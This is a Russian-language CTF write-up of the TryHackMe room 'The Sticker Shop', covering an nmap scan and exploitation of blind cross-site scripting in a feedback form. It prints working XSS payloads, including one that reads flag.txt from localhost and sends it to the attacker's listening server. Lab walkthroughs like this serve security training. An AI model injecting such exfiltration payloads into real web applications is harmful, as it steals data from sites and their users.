Пост

TryHackMe - The Sticker Shop

Простой разбор использования ❌ Cross-Site Scripting в этом задании

TryHackMe - The Sticker Shop

Введение

Сможете ли вы эксплуатировать магазин стикеров, чтобы захватить флаг?

Tryhackme Room Link

Ваш местный магазин стикеров наконец-то разработал собственный веб‑сайт. У них не так много опыта в веб‑разработке, поэтому они решили разрабатывать и хостить всё на том же компьютере, который используют для просмотра интернета и чтения отзывов клиентов. Отличное решение!

Nmap

Начнём со сканирования открытых портов:

1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.10.243
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
|   256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_  256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.8.10)
|_http-title: Cat Sticker Shop
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Так как резервный порт HTTP открыт, мы можем посетить сайт по адресу 10.10.10.243:8080.

Попробуем перейти на 10.10.10.243:8080/flag.txt
Slash Flag.txt

Перейдём на страницу Feedback
Submit Page

Cross-Site Scripting

Попробуем использовать XSS.

Запустим python‑сервер и попробуем обратиться к нашей машине‑атакующему через скрипт:

1
python3 -m http.server 8000

И отправим следующий скрипт:

1
</textarea><script>fetch('http://10.11.75.122:8000');</script>

Мы получили ответ, а значит у нас есть Blind XSS‑уязвимость.

Submit Page

Теперь попробуем собрать полезную нагрузку следующего вида:

1
2
3
4
5
6
7
8
</textarea><script>
async function a() {
    const res1 = await fetch('http://127.0.0.1:8080/flag.txt');
    const b = await res1.text();
    const res2 = await fetch('http://10.11.75.122:8000?a=' + b);
}
a();
</script>
Разбор:
  1. Получает flag.txt с http://127.0.0.1:8080/flag.txt.
  2. Считывает его содержимое как текст.
  3. Отправляет украденный флаг в виде query‑параметра (a=<OUR_FLAG>) на http://10.11.75.122:8000 (нашу машину‑атакующую).

Флаг

После запуска локального python‑сервера и отправки полезной нагрузки мы получаем флаг.

Submit Page


Авторский пост защищен лицензией CC BY 4.0 .